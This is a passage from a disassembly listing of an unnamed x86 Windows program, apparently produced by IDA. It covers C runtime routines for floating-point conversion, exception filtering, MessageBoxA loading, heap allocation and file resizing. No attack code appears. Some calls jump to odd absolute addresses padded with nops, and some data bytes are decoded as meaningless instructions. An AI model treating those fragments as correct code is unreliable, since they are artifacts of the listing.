		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D848
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D860
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DC008
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DC030, eax
		add	esp, 18h
		movsx	eax, byte_4DC00A
		mov	dword_4DC028, eax
		pop	edi
		movsx	eax, word_4DC008
		mov	dword_4DC02C, eax
		mov	dword_4DC034, offset dword_4DC00C
		mov	eax, offset dword_4DC028
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D488o
					; ___:0043DBC8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DC038
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DC038
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1DB093E8h], dl
		add	ah, byte ptr dword_4DC038[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DC03835h, 81E89000h, 0C3021DB0h

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25F0B6Ch
		nop
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2660605h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0B09h
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD2C1[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CED2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC03C, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DC03C, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DC040, eax
		call	esi
		mov	dword_4DC044, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DC040
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DC044
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DC03C


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD3E8
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD3E0
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CEC4
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD3E4
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE98, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD080, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC06C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC06C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC06C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD080
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD1A0
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438D08o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBE30, 5
		jnz	short loc_42528D
		mov	dword_4DBE2C, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBE2C, 0Dh
		call	near ptr 2680E92h
		nop
		mov	dword_4DBE30, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBE2C, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
